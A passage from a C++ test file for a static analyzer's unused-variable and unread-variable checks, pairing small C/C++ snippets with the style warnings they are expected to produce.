b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else {\\n\"\n \" if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else {\\n\"\n \" if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else {\\n\"\n \" pb = b1;\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else {\\n\"\n \" if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else {\\n\"\n \" if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else {\\n\"\n \" pb = b1;\\n\"\n \" pb = b2;\\n\"\n \" pb = b3;\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else {\\n\"\n \" if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else {\\n\"\n \" if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" pb = b4;\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Unused variable: b1 [unusedVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: b2 [unusedVariable]\\n\"\n \"[test.cpp:5:10]: (style) Unused variable: b3 [unusedVariable]\\n\", errout_str());\n }\n\n void localvaralias9() { // ticket 1996\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" Foo foo;\\n\"\n \" Foo &ref = foo;\\n\"\n \" ref[0] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias10() { // ticket 2004\n functionVariableUsage(\"void foo(Foo &foo)\\n\"\n \"{\\n\"\n \" Foo &ref = foo;\\n\"\n \" int *x = &ref.x();\\n\"\n \" *x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias11() { // #4423 - iterator\n functionVariableUsage(\"void f(Foo &foo) {\\n\"\n \" std::set::iterator x = foo.dostuff();\\n\"\n \" *(x) = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias12() { // #4394\n functionVariableUsage(\"void f(void) {\\n\"\n \" int a[4];\\n\"\n \" int *b = (int*)((int*)a+1);\\n\"\n \" x(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f(void) {\\n\" // #4628\n \" int x=1,y;\\n\"\n \" y = (x * a) / 100;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias13() { // #4487\n functionVariableUsage(\"void f(char *p) {\\n\"\n \" char a[4];\\n\"\n \" p = a;\\n\"\n \" strcpy(p, \\\"x\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(char *p) {\\n\"\n \" char a[4];\\n\"\n \" p = a;\\n\"\n \" strcpy(p, \\\"x\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"a is assigned value that is never used\", \"\", errout_str());\n }\n\n void localvaralias14() { // #5619\n functionVariableUsage(\"char * dostuff(char *p);\\n\"\n \"void f() {\\n\"\n \" char a[4], *p=a;\\n\"\n \" p = dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'p' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"char * dostuff(char *&p);\\n\"\n \"void f() {\\n\"\n \" char a[4], *p=a;\\n\"\n \" p = dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // TODO: we can warn in this special case; variable is local and there are no function calls after the assignment\n\n functionVariableUsage(\"void f() {\\n\"\n \" char a[4], *p=a;\\n\"\n \" p = dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // TODO: we can warn in this special case; variable is local and there are no function calls after the assignment\n }\n\n void localvaralias15() { // #6315\n functionVariableUsage(\"void f() {\\n\"\n \" int x=3;\\n\"\n \" int *p = &x;\\n\"\n \" int *p2[1] = {p};\\n\"\n \" dostuff(p2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias16() {\n functionVariableUsage(\"void f() {\\n\"\n \" auto x = dostuff();\\n\"\n \" p = x;\\n\"\n \" x->data[0] = 9;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias17() {\n functionVariableUsage(\"void f() {\\n\"\n \" int x;\\n\"\n \" unknown_type p = &x;\\n\"\n \" *p = 9;\\n\"\n \"}\", dinit(FunctionVariableUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias18() {\n functionVariableUsage(\"void add( std::vector< std::pair< int, double > >& v)\\n\"\n \"{\\n\"\n \" std::vector< std::pair< int, double > >::iterator it;\\n\"\n \" for ( it = v.begin(); it != v.end(); ++it )\\n\"\n \" {\\n\"\n \" if ( x )\\n\"\n \" {\\n\"\n \" ( *it ).second = 0;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias19() { // #9828\n functionVariableUsage(\"void f() {\\n\"\n \" bool b0{}, b1{};\\n\"\n \" struct {\\n\"\n \" bool* pb;\\n\"\n \" int val;\\n\"\n \" } Map[] = { {&b0, 0}, {&b1, 1} };\\n\"\n \" b0 = true;\\n\"\n \" for (auto & m : Map)\\n\"\n \" if (m.pb && *m.pb)\\n\"\n \" m.val = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias20() { // #10966\n functionVariableUsage(\"struct A {};\\n\"\n \"A g();\\n\"\n \"void f() {\\n\"\n \" const auto& a = g();\\n\"\n \" const auto& b = a;\\n\"\n \" const auto&& c = g();\\n\"\n \" auto&& d = c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:7:14]: (style) Variable 'd' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvaralias21() { // #11728\n functionVariableUsage(\"void f(int i) {\\n\"\n \" bool b = true;\\n\"\n \" bool* p = &b;\\n\"\n \" int j{};\\n\"\n \" if (i)\\n\"\n \" b = false;\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvaralias22() { // #11139\n functionVariableUsage(\"int f() {\\n\"\n \" int x[1], *p = x;\\n\"\n \" x[0] = 42;\\n\"\n \" return *p;\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" int x[1], *p{ x };\\n\"\n \" x[0] = 42;\\n\"\n \" return *p;\\n\"\n \"}\\n\"\n \"int h() {\\n\"\n \" int x[1], *p(x);\\n\"\n \" x[0] = 42;\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias23() { // #11817\n functionVariableUsage(\"void f(int& r, bool a, bool b) {\\n\"\n \" int& e = r;\\n\"\n \" if (a)\\n\"\n \" e = 42;\\n\"\n \" else if (b)\\n\"\n \" e = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarasm() {\n\n functionVariableUsage(\"void foo(int &b)\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" asm();\\n\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct1() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static const struct{ int x, y, w, h; } bounds = {1,2,3,4};\\n\"\n \" return bounds.x + bounds.y + bounds.w + bounds.h;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct2() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" struct ABC { int a, b, c; };\\n\"\n \" struct ABC abc = { 1, 2, 3 };\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:20]: (style) Variable 'abc' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:16]: (style) Variable 'abc' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n }\n\n void localvarStruct3() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a = 10;\\n\"\n \" union { struct { unsigned char x; }; unsigned char z; };\\n\"\n \" do {\\n\"\n \" func();\\n\"\n \" } while(a--);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style) Unused variable: x\\n\"\n \"[test.cpp:4]: (style) Unused variable: z\\n\", \"\", errout_str());\n }\n\n void localvarStruct5() {\n // extracttests.disable\n functionVariableUsage(\"int foo() {\\n\"\n \" A a;\\n\"\n \" return a.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\\n\",\n dinit(FunctionVariableUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:7]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n // extracttests.enable\n\n functionVariableUsage(\"struct A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return a.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" a.i = 0;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Variable 'a.i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"struct A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a = { 0 };\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:9]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n // extracttests.disable\n functionVariableUsage(\"class A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a = { 0 };\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:9]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n // extracttests.enable\n functionVariableUsage(\"class A { int i; public: A(); { } };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class A { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"class A { int i; public: A(); { } };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A { unknown i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A : public Fred { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class Fred {char c;};\\n\"\n \"class A : public Fred { int i; };\\n\"\n \"int foo() {\\n\"\n \" A a;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n }\n\n void localvarStruct6() {\n functionVariableUsage(\"class Type { };\\n\"\n \"class A {\\n\"\n \"public:\\n\"\n \" Type & get() { return t; }\\n\"\n \"private:\\n\"\n \" Type t;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct7() {\n functionVariableUsage(\"struct IMAPARG {\\n\"\n \" void *text;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fun() {\\n\"\n \" IMAPARG *args, aatt;\\n\"\n \" args = &aatt;\\n\"\n \" aatt.text = tmp;\\n\"\n \" dostuff(args);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: void dostuff(int*);\n functionVariableUsage(\"struct ARG {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fun() {\\n\"\n \" ARG aatt;\\n\"\n \" int *p = &aatt.b;\\n\"\n \" aatt.a = 123;\\n\"\n \" dostuff(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style) Variable 'aatt.a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"struct AB {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fun() {\\n\"\n \" AB ab;\\n\"\n \" int &a = ab.a;\\n\"\n \" ab.a = 123;\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct8() {\n functionVariableUsage(\"struct s {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" int fld1 : 16;\\n\"\n \" int fld2 : 16;\\n\"\n \" };\\n\"\n \" int raw;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" struct s test;\\n\"\n \" test.raw = 0x100;\\n\"\n \" dostuff(test.fld1, test.fld2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct9() {\n functionVariableUsage(\"struct XY { int x; int y; };\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" struct XY xy(get());\\n\"\n \" return xy.x + xy.y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct10() { // #6766\n functionVariableUsage(\"struct S { int x; };\\n\"\n \"\\n\"\n \"void foo(const struct S s2) {\\n\"\n \" struct S s;\\n\"\n \" s.x = 3;\\n\"\n \" memcpy (&s, &s2, sizeof (S));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Variable 's.x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarStruct11() { // #10095\n functionVariableUsage(\"struct Point { int x; int y; };\\n\"\n \"Point scale(Point *p);\\n\"\n \"\\n\"\n \"int foo() {\\n\"\n \" Point p;\\n\"\n \" p.x = 42;\\n\"\n \" return scale(&p).y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct12() { // #10495\n functionVariableUsage(\"struct S { bool& Ref(); };\\n\"\n \"\\n\"\n \"void Set() {\\n\"\n \" S s;\\n\"\n \" s.Ref() = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct13() { // #10398\n functionVariableUsage(\"int f() {\\n\"\n \" std::vector Mode;\\n\"\n \" Info Block = {\\n\"\n \" {\\n\"\n \" { &Mode },\\n\"\n \" { &Level }\\n\"\n \" }\\n\"\n \" };\\n\"\n \" Mode.resize(N);\\n\"\n \" for (int i = 0; i < N; ++i)\\n\"\n \" Mode[i] = \\\"abc\\\";\\n\"\n \" return Save(&Block);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStruct14() { // #12142\n functionVariableUsage(\"struct S { int i; };\\n\"\n \"int f() {\\n\"\n \" S s;\\n\"\n \" int S::* p = &S::i;\\n\"\n \" s.*p = 123;\\n\"\n \" return s.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarStructArray() {\n // extracttests.start: struct X {int a;};\n\n // #3633 - detect that struct array is assigned a value\n functionVariableUsage(\"void f() {\\n\"\n \" struct X x[10];\\n\"\n \" x[0].a = 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Variable 'x[0].a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarUnion1() {\n // #9707\n functionVariableUsage(\"static short read(FILE *fp) {\\n\"\n \" typedef union { short s; unsigned char c[2]; } u;\\n\"\n \" u x;\\n\"\n \" x.c[0] = fgetuc(fp);\\n\"\n \" x.c[1] = fgetuc(fp);\\n\"\n \" return x.s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarOp() {\n constexpr char op[] = \"+-*/%&|^\";\n for (const char *p = op; *p; ++p) {\n std::string code(\"int main()\\n\"\n \"{\\n\"\n \" int tmp = 10;\\n\"\n \" return 123 \" + std::string(1, *p) + \" tmp;\\n\"\n \"}\");\n functionVariableUsage(code.c_str());\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void localvarInvert() {\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" int tmp = 10;\\n\"\n \" return ~tmp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarIf() {\n functionVariableUsage(\"int main()\\n\"\n \"{\\n\"\n \" int tmp = 10;\\n\"\n \" if ( tmp )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"bool argsMatch(const Token *first, const Token *second) {\\n\" // #6145\n \" if (first->str() == \\\")\\\")\\n\"\n \" return true;\\n\"\n \" else if (first->next()->str() == \\\"=\\\")\\n\"\n \" first = first->nextArgument();\\n\"\n \" else if (second->next()->str() == \\\"=\\\") {\\n\"\n \" second = second->nextArgument();\\n\"\n \" if (second)\\n\"\n \" second = second->tokAt(-2);\\n\"\n \" if (!first || !second) {\\n\"\n \" return !first && !second;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Variable 'first' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarIfElse() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int tmp1 = 1;\\n\"\n \" int tmp2 = 2;\\n\"\n \" int tmp3 = 3;\\n\"\n \" return tmp1 ? tmp2 : tmp3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarDeclaredInIf() {\n functionVariableUsage(\"int foo(int x)\\n\"\n \"{\\n\"\n \" if (int y = x % 2)\\n\"\n \" return 2;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'y' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:13]: (style) Variable 'y' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"int foo(int x)\\n\"\n \"{\\n\"\n \" if (int y = x % 2)\\n\"\n \" return y;\\n\"\n \" else\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo(int x)\\n\"\n \"{\\n\"\n \" if (int y = x % 2)\\n\"\n \" return 2;\\n\"\n \" else\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int f(int i) {\\n\" // #11788\n \" if (int x = i) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" x = 12;\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(int i) {\\n\"\n \" if (int x = i) {\\n\"\n \" while (x < 100) {\\n\"\n \" if (x % 2 == 0) {\\n\"\n \" x += 3;\\n\"\n \" }\\n\"\n \" else if (x % 3 == 0) {\\n\"\n \" x += 5;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" x += 7;\\n\"\n \" }\\n\"\n \" x += 6;\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarOpAssign() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" int b = 2;\\n\"\n \" a |= b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" int a = 1;\\n\"\n \" (b).x += a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" int a=1, b[10];\\n\"\n \" b[0] = x;\\n\"\n \" a += b[0];\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(int *start, int *stop) {\\n\"\n \" int length = *start - *stop;\\n\"\n \" if (length < 10000)\\n\"\n \" length = 10000;\\n\"\n \" *stop -= length;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(int a) {\\n\"\n \" int x = 3;\\n\"\n \" a &= ~x;\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.disable\n functionVariableUsage(\"void f() {\\n\" // unknown class => library configuration is needed\n \" Fred fred;\\n\"\n \" int *a; a = b;\\n\"\n \" fred += a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (information) --check-library: Provide configuration for Fred [checkLibraryCheckType]\\n\", errout_str());\n // extracttests.enable\n\n functionVariableUsage(\"void f(std::pair x) {\\n\"\n \" std::pair fred;\\n\" // class with library configuration\n \" fred = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Variable 'fred' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvarFor() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" for (;a;);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\"\n \" for (int i = 0; (pci = cdi_list_get(pciDevices, i)); i++)\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarForEach() { // #4155 - foreach\n functionVariableUsage(\"void foo() {\\n\"\n \" int i = -1;\\n\"\n \" int a[] = {1,2,3};\\n\"\n \" FOREACH_X (int x, a) {\\n\"\n \" if (i==x) return x;\\n\"\n \" i = x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5154 - MSVC 'for each'\n functionVariableUsage(\"void f() {\\n\"\n \" std::map ints;\\n\"\n \" ints[0]= 1;\\n\"\n \" for each(std::pair i in ints) { x += i.first; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarShift1() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int var = 1;\\n\"\n \" return 1 >> var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarShift3() { // #3509\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" QList ints;\\n\"\n \" ints << 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo() {\\n\" // #4320\n \" int x;\\n\"\n \" x << 1;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarCast() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" int b = static_cast(a);\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarClass() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" class B : public A {\\n\"\n \" int a;\\n\"\n \" int f() { return a; }\\n\"\n \" } b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarUnused() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool test __attribute__((unused));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool test __attribute__((unused)) = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool __attribute__((unused)) test;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool __attribute__((unused)) test = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool test __attribute__((used));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" bool __attribute__((used)) test;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" char a[1] __attribute__((unused));\\n\"\n \" char b[1][2] __attribute__((unused));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarFunction() {\n functionVariableUsage(\"void check_dlsym(void*& h)\\n\"\n \"{\\n\"\n \" typedef void (*function_type) (void);\\n\"\n \" function_type fn;\\n\"\n \" fn = reinterpret_cast(dlsym(h, \\\"try_allocation\\\"));\\n\"\n \" fn();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvarstatic() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int i;\\n\"\n \" static const int ci;\\n\"\n \" static std::string s;\\n\"\n \" static const std::string cs;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:4:22]: (style) Unused variable: ci [unusedVariable]\\n\"\n \"[test.cpp:5:24]: (style) Unused variable: s [unusedVariable]\\n\"\n \"[test.cpp:6:30]: (style) Unused variable: cs [unusedVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int i(0);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int j = 0;\\n\"\n \" static int i(j);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"int * foo(int x)\\n\"\n \"{\\n\"\n \" static int a[] = { 3, 4, 5, 6 };\\n\"\n \" static int b[] = { 4, 5, 6, 7 };\\n\"\n \" static int c[] = { 5, 6, 7, 8 };\\n\"\n \" b[1] = 1;\\n\"\n \" return x ? a : c;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" static int i = 0;\\n\"\n \" if(i < foo())\\n\"\n \" i += 5;\\n\"\n \"}\");\n 